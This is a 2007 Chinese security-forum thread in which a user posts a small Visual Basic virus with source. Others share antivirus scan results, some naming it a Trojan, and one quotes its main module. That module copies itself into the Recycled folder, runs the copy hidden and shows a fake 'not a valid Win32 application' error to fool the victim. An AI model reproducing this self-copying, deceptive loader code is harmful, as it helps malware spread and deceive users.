VB小病毒，有源代码。

554330833a

[attachmentid=452]

风野胤

nod32 miss
不过exe文件貌似是个尸体

[ 本帖最后由 风野胤 于 2007-5-18 13:45 编辑 ]

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\morgan\My Documents\virus.rar'
C:\Documents and Settings\morgan\My Documents\
  virus.rar
    [0] Archive type: RAR
    --> virus\frmwork.exe
        [DETECTION] Contains suspicious code HEUR/Crypted
        [WARNING]   Infected files in archives cannot be repaired!
    --> virus\Setup.vbp
    --> virus\Form1.frm
    --> virus\cVirus.cls
    --> virus\mdlXX.bas
    --> virus\Setup.vbw
    --> virus\¹¤³Ì1.vbw
    --> virus\frmXX.frm
        [WARNING]   The file was ignored!

promised

鞭尸

bridgewr

测试不了，vbs和尸体

coolboywy

这句不是有效的Win32程序是病毒作者的伪装？
mdlxx.bas里有这些代码

1. Attribute VB_Name = "mdlXX"
   
2. Option Explicit
   
3. Public theHeHe As String
   
4. Private Const fn = "c:\recycled\frmwork.exe"
   
5. Sub Main()
   
6. Dim s As String
   
7. On Error Resume Next
   
8. If Command = "" Then
   
9. s = CStr(App.Path) + "" + CStr(App.EXEName) + ".exe"
   
10. FileCopy s, fn
    
11. Shell fn + " 286", vbHide
    
12. MsgBox s + " 不是一个有效的Win32应用程序。", vbCritical, s
    
13. Else
    
14. GetHeHe
    
15. Load Form1
    
16. End If
    
17. End Sub
    
18. Public Sub GetHeHe()
    
19. On Error GoTo a
    
20. Open "c:\286.txt" For Input As #1
    
21. Line Input #1, theHeHe
    
22. a:
    
23. Close
    
24. End Sub

复制代码

[ 本帖最后由 coolboywy 于 2007-5-18 15:27 编辑 ]

coolboywy

Antivirus	Version	Update	Result
AhnLab-V3	2007.5.16.1	05.18.2007 [td]no virus found
AntiVir	7.4.0.23	05.18.2007	HEUR/Crypted
Authentium	4.93.8	05.16.2007 [td]no virus found
Avast	4.7.997.0	05.17.2007 [td]no virus found
AVG	7.5.0.467	05.17.2007 [td]no virus found
BitDefender	7.2	05.18.2007 [td]no virus found
CAT-QuickHeal	9.00	05.17.2007 [td]no virus found
ClamAV	devel-20070416	05.17.2007 [td]no virus found
DrWeb	4.33	05.18.2007 [td]no virus found
eSafe	7.0.15.0	05.17.2007	suspicious Trojan/Worm
eTrust-Vet	30.7.3641	05.17.2007 [td]no virus found
Ewido	4.0	05.17.2007 [td]no virus found
FileAdvisor	1	05.18.2007 [td]no virus found
Fortinet	2.85.0.0	05.18.2007	suspicious
F-Prot	4.3.2.48	05.16.2007 [td]no virus found
F-Secure	6.70.13030.0	05.18.2007 [td]no virus found
Ikarus	T3.1.1.7	05.18.2007 [td]no virus found
Kaspersky	4.0.2.24	05.18.2007 [td]no virus found
McAfee	5033	05.17.2007 [td]no virus found
Microsoft	1.2503	05.18.2007 [td]no virus found
NOD32v2	2275	05.17.2007 [td]no virus found
Norman	5.80.02	05.17.2007 [td]no virus found
Panda	9.0.0.4	05.17.2007	Suspicious file
Prevx1	V2	05.18.2007 [td]no virus found
Sophos	4.17.0	05.16.2007 [td]no virus found
Sunbelt	2.2.907.0	05.17.2007 [td]no virus found
Symantec	10	05.18.2007 [td]no virus found
TheHacker	6.1.6.118	05.18.2007 [td]no virus found
VBA32	3.12.0	05.17.2007 [td]no virus found
VirusBuster	4.3.7:9	05.17.2007 [td]no virus found
Webwasher-Gateway	6.0.1	05.18.2007	Heuristic.Crypted

554330833a

分析得详细

[ 本帖最后由 554330833a 于 2007-5-18 20:05 编辑 ]

ALEXBLAIR

绝对的伪装

不过应该可以骗过很多人/.

scottxzt

Begin scan in 'D:\Documents and Settings\dell\桌面\virus.rar'
D:\Documents and Settings\dell\桌面\
D:\Documents and Settings\dell\桌面\virus.rar
  [0] Archive type: RAR
  --> virus\frmwork.exe
      [DETECTION] Is the Trojan horse TR/KillAv.12288
      [WARNING]   Infected files in archives cannot be repaired!
      [INFO]      A backup was created as '46c00ebe.qua'  ( QUARANTINE )
      [INFO]      The file was deleted!